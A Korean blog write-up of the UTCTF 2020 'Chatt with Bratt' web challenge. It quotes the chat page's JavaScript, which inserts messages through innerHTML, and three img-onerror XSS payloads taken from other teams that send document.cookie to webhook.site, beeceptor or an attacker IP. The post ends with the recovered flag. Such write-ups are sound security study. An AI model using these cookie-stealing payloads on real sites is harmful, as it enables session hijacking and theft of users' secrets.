Wargame/CTF

UTCTF 2020 Chatt with Bratt: Write-Up

마띠(쥔장) 2020. 3. 11. 00:13

<script>
		function addMessage(content, name) {
			const messageBody = document.getElementById('message-body');
			const card = document.createElement("div");
			card.className = "card";
			const cardHeader = document.createElement("div");
			cardHeader.className = "card-header";
			const strongName = document.createElement("strong");
			strongName.innerHTML = name;
			cardHeader.appendChild(strongName);
			card.appendChild(cardHeader);
			const cardBody = document.createElement("div");
			cardBody.className = "card-body";
			const cardText = document.createElement("p");
			cardText.className = "card-text";
			cardText.innerHTML = content;
			cardBody.appendChild(cardText);
			card.appendChild(cardBody);
			messageBody.appendChild(card);
			return;
		}
	</script>

	<script>
		function showMessages(data) {
			const messageBody = document.getElementById('message-body');
			if (data.Messages.length == messageBody.children.length) {
				return;
			}
			const sortedMessages = data.Messages.sort((a, b) => b.Msg_Sent - a.Msg_Sent)
			messageBody.textContent = '';
			sortedMessages.forEach(message => {
				const name = message.User_ID == 1 ? "Anon" : "Bratt Pid";
				addMessage(message.Content, name);
			});
		}
	</script>
	
	<script>
		function loadMessages() {
			fetch('/messages')
				.then((response) => {
					return response.json();
				})
				.then((data) => {
					showMessages(data);
				});
			setTimeout(loadMessages, 10000);
		}
	</script>

	<script>
	  function sendMessage() {
		const message = document.getElementById('message'); 
		
		if (message.value === "") {
		  return false;
		}

		addMessage(message.value, "Anon");

		const data = {content: message.value}
		fetch('/chatt', {
		  method: 'POST',
		  body: JSON.stringify(data)
		});
		
		message.value = "";
		return true;
	  }
	</script>

라업을 쓰려고 보니 이미 죽어있어서 캡쳐를 못 떴다. 풀이 기록용으로 미리 써둔 문서를 먼저 사용하고 다른 사람의 라업을 참고해서 마무리 짓겠다. 'Bratt Pid'라는 스타와 1:1 채팅을 할 수 있다는 가정 아래 플래그를 얻으면 된다. 

flag를 물어봤더니 agent한테 물어보라고 한다. 그래서 코드를 바꿔봤다.

네모 친 부분이 Bratt Pid 였던 것 같다. agent로 바꾸고 다시 flag를 물어봤다.

알 수 없는 문자열을 얻었는데 뭔가 의미있어 보여서 좋아했었다.. 물론 저게 플래그는 아니다. 또 몇 개 물어보는데 개발자가 나에게 더 많은 것을 답할 수 있게 했으면 좋았을 거라고 해서 메시지에 붙는 value를 Anon에서 creator로 바꿨다. admin으로도 바꿔봤다(의미 없는 것 같다).

그리고 당연히 우연이겠지만 저 위 설정을 끝낸 바로 다음 랜덤 답변이 PID에 관한 거였다.

그래서 뭐 찾아보다가 이런 걸 발견해서 이것저것 시도해봤지만 실패했다: http://www.iwav.co.kr/198

Anon-Bratt Pid에서 admin-agent로 바꾸고 ls도 해봤지만 안된다고 한다.


여기까지가 내 뻘짓이었다. 라업을 보니 XSS, 쿠키 쪽이던데 채팅창이면 당연히 XSS를 떠올릴 만한데 왜 안그랬는지 나도 모르겠다.... 

일단 img 태그의 onerror를 사용해 쉽게 XSS 취약점을 이용할 수 있는 문제였는데 스크립트를 바로 입력할 수 있는 창, 특히 채팅 형식이면 바로 XSS가 생각났어야 했다.. 쿠키는 chat_id와 secret이라는 쿠키가 2개 있었고 그 중 secret 쿠키에 Bratt 측의 플래그가 있다. 라업을 참고한 SinHack Team은 다음 코드로 XSS 취약점을 이용해 쿠키값을 얻어냈다: https://github.com/SinHackTeam/writeup/blob/master/UTCTF%202020/Web/Chatt_with_Bratt-volken-writeup.pdf

쿠키 secret은 none값이다. 이를 통해 Bratt의 쿠키가 secret이고, 이 창에서는 알아낼 수 없으니 다른 방법을 통해 우회해서 쿠키값을 알아내는 게 우리의 목표라고 방향을 대강 잡을 수 있다. 

이제 secret 값을 얻어보자. 먼저 원래 생성된 쿠키를 모두 삭제하고 리프레시한다. 그 후 페이로드를 보낼 것이다. 역시 img 태그, onerror를 사용하면된다.

 

다음은 페이로드의 예시이다. 모두 CTFtime.org의 라업에서 가져왔다.

-Root Lee

<img 
    src="http://url.to.file.which/not.exist" 
    onerror="fetch(
        'https://webhook.site/#!/81f7d094-c908-465d-a571-ad47582fd6c6', {
            method:'POST', 
            body: JSON.stringify({data:document.cookie})
        }
    );">

-Bullsoc

"content":"<img src=\"foo.png\" onerror=\"document.location='http://xxx.xxx.xxx.xxx:1337?c='+document.cookie;\" />"

-SinHack

<img src="x" onerror="fetch('https://volken.free.beeceptor.com/?cookie='+btoa(document.cookie))">

onerror 옵션에서 접속시킬 웹페지는 WebHook을 많이 이용하는 것 같다: https://webhook.site/#!/bbe8f081-c41f-43ab-a547-776d97425bf5

이렇다고 한다.

이렇게 페이로드를 작성하고 해당 웹페이지로 쏠 수 있게 한 후 secret 쿠키값을 보면 아래와 같이 나온다고 한다.

Bratt 측의 쿠키인 secret 값이고 base64 인코딩 되어있다. 디코딩하면!

utflag{95debad95cfb106081f33ceadc36bf9c}

 

728x90

'Wargame > CTF' 카테고리의 다른 글

RACTF 2020: Dimensionless Loading, Disk Forensics Fun  (0) 2020.06.13
IOLI crackme 0x00 ~ 0x05  (0) 2020.04.19
2020 AUCTF  (2) 2020.04.11
Codegate 2020  (1) 2020.04.02
UTCTF 2020 Zero: Write Up  (0) 2020.03.10